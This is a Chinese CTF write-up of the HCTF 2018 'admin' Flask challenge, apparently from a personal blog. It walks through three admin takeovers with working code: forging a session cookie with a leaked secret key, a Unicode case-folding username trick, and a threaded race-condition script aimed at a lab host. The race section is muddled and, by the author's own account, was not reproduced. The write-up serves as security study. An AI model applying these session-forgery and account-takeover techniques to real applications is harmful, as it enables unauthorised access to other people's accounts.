HCTF 2018 admin 1题解


HCTF 2018 admin 1题解

前置知识

做题详解

这题的三种方法都是知识盲区,学习学习三种方法的思路。
法1:伪造session
法2:unicode欺骗
法3:条件竞争
打开题目,F12查看源码,得到提示:

<!--you are not admin-->

发现有一个login界面和register界面。
首先尝试万能密码,无果。在register界面注册一个账号,登陆进去。
发现有index,post,change password和logout界面,在change password界面有提示:

<!--https://github.com/woadsl1234/hctf_flask/ -->

下载源码,发现是flask模板。然后就引入我们的第一种解法,flask session的伪造。

伪造session

客户端 session 导致的安全问题
可以知道flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。构造脚本解密session

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

然后可以尝试读取我们的session内容。
在消息头中找到我们的session

.eJw9kEGLwjAQhf_KMmcPNrteBC9LarEwCYXUklyK2tp20rpQlW0j_vcdZPH8vfl4bx5Qnsf62sL6Nt7rBZRdBesHfBxhDc70vSPnVcgjZXBGOn2htAKDGzD4FYp0QJn2luKgk71XImbWdjakpJNshRRHKOLJDvmnFXvO2dkRcqZZqZD9KunZW7Hfz0pW5Iizhpn0zPNJJzZo6Vot-1YX6aAK1TnTzMrYpSI7uYK7JGwkv4HnAk7X8Vzefnx9eU9Qcsdl4xkNRrbgI9p6NM1Sm3hyyZ6s2PGsTHDVWYXWa7PtMdu8dN1waOq3KaPvrf4nl8PAAPwRFnC_1uPraRAt4fkHKRttTA.Ye03fg.RMqGFcyva_tO_XuzCcfMpYKkYEk

运行得到:

python flasksession.py .eJw9kEGLwjAQhf_KMmcPNrteBC9LarEwCYXUklyK2tp20rpQlW0j_vcdZPH8vfl4bx5Qnsf62sL6Nt7rBZRdBesHfBxhDc70vSPnVcgjZXBGOn2htAKDGzD4FYp0QJn2luKgk71XImbWdjakpJNshRRHKOLJDvmnFXvO2dkRcqZZqZD9KunZW7Hfz0pW5Iizhpn0zPNJJzZo6Vot-1YX6aAK1TnTzMrYpSI7uYK7JGwkv4HnAk7X8Vzefnx9eU9Qcsdl4xkNRrbgI9p6NM1Sm3hyyZ6s2PGsTHDVWYXWa7PtMdu8dN1waOq3KaPvrf4nl8PAAPwRFnC_1uPraRAt4fkHKRttTA.Ye03fg.RMqGFcyva_tO_XuzCcfMpYKkYEk

{'_fresh': True, '_id': b'e9ef6d75553227806636f3993bf02eb138ed7a638bc2c8d92153a1be7ceeb62f3638974049557d79247cf11a894997518f386a89a9bf5cbe82564661ef60fc29', 'csrf_token': b'423fa2135accb1d184911deccb224621278d91e1', 'image': b'B0E9', 'name': 'kb', 'user_id': '10'}

github上有脚本去伪造sessionflask session伪造脚本,其次我们需要获得秘钥,在源码中的config.py中存有秘钥ckj123,接下来把name改成admin,重新加密。

{'_fresh': True, '_id': b'e9ef6d75553227806636f3993bf02eb138ed7a638bc2c8d92153a1be7ceeb62f3638974049557d79247cf11a894997518f386a89a9bf5cbe82564661ef60fc29', 'csrf_token': b'423fa2135accb1d184911deccb224621278d91e1', 'image': b'B0E9', 'name': 'admin', 'user_id': '10'}

python .\flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'e9ef6d75553227806636f3993bf02eb138ed7a638bc2c8d92153a1be7ceeb62f3638974049557d79247cf11a894997518f386a89a9bf5cbe82564661ef60fc29', 'csrf_token': b'423fa2135accb1d184911deccb224621278d91e1', 'image': b'B0E9', 'name': 'admin', 'user_id': '10'}"

.eJw9kEGLwjAQhf_KMmcPNqsXwcuSWixMQiFakou4tradNC5UZduI_30HWTx_bz7emwcczkN9bWF1G-71DA5dBasHfHzDCpzpe0fOq7hLlMEJ6bRAaQVGFzD6JYo8oMx7S2nU2d4rkTJrOxtz0lmxREoTFOlow-7Tij3n7OQIOdMsVSx-lfTsrdjvJyUrcsRZw0x65rtRZzZq6Vot-1aXeVCl6pxpJmXsXJEdXcldMjaSX8NzBqfrcD7cfnx9eU9Qcstl0wkNJrbkI9p4NM1cm3R02Z6s2PKsQnDVScXWa7PpsVi_dF04NvXbVNDXRv-TyzEwgGMVugvM4H6th9ffIJnD8w953G6I.Ye1hUg.Vj-1qaU1Fggp_oaB_8R5IFekjII

然后利用伪造的session登陆admin账号。
获得flag:flag{0575fabb-dc12-4113-ad3a-66650ca8451c}

Unicode欺骗

在/hctf_flask-master/app/routes.py中有一段代码:

def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

同样,在login和register中都有转小写的操作

def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

更改密码里有一句代码

name = strlower(session['name'])

但是又有一个特别的地方,我们python转小写一般用的都是lower(),为什么这里是strlower()?
而strlower:

def strlower(username):
    username = nodeprep.prepare(username)
    return username

这个nodeprep.prepare存在漏洞。
具体编码可查Unicode编码
对于ᴀ,nodeprep.prepare会进行如下操作:ᴀ -> A -> a
即:ᴬᴰᴹᴵᴺ -> ADMIN -> admin,
于是我们可以注册用户ᴬᴰᴹᴵᴺ
登陆用户ᴬᴰᴹᴵᴺ,变成了ADMIN
修改密码ADMIN,更改了admin的密码。
成功得到flag:flag{0575fabb-dc12-4113-ad3a-66650ca8451c}

条件竞争

def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        #session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        #name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

我们发现代码在处理session赋值的时候两个危险操作,一个登陆一个改密码(注释掉的两行),都是在不安全check身份的情况下,直接先赋值了session,那么这里就会存在一些风险,那么我们设想,能不能利用这一点,改掉admin的密码呢?

def login():
    #if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

这里存在问题,即前两步中,如果我们的Session a是登录后的,那么是无法再去登录admin的。(注释掉的那行)所以这里需要条件竞争。
那么如何避开check,双线并进
在一个进程运行到改密码时

def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    #if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

运行到注释那行时,正好另一个进程退出了这个用户,来到登陆位置

def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        #session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

运行到注释行,此时正好session name变为admin,change密码正好改了管理员密码。
直接借用大佬的payload

import requests
import threading

def login(s, username, password):
    data = {
        'username': username,
        'password': password,
        'submit': ''
    }
    return s.post("http://55fcd3f8-b82d-422b-bf9a-8ed90d2aff73.node4.buuoj.cn:81/login", data=data)

def logout(s):
    return s.get("http://55fcd3f8-b82d-422b-bf9a-8ed90d2aff73.node4.buuoj.cn:81/logout")

def change(s, newpassword):
    data = {
        'newpassword':newpassword
    }
    return s.post("http://55fcd3f8-b82d-422b-bf9a-8ed90d2aff73.node4.buuoj.cn:81/change", data=data)

def func1(s):
    login(s, 'kb', '123456')
    change(s, 'kb')

def func2(s):
    logout(s)
    res = login(s, 'admin', '123456')
    if '<a href="/index">/index</a>' in res.text:
        print('finish')

def main():
    for i in range(1000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,))
        t2 = threading.Thread(target=func2, args=(s,))
        t1.start()
        t2.start()

if __name__ == "__main__":
    main()

第三种方法并没有复现成功,理论可行,完了如果有机会可以复现出来的话,再填这个坑。
参考:
https://blog.csdn.net/rfrder/article/details/109188719
https://www.anquanke.com/post/id/164086#h3-13
https://www.leavesongs.com/PENETRATION/client-session-security.html


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !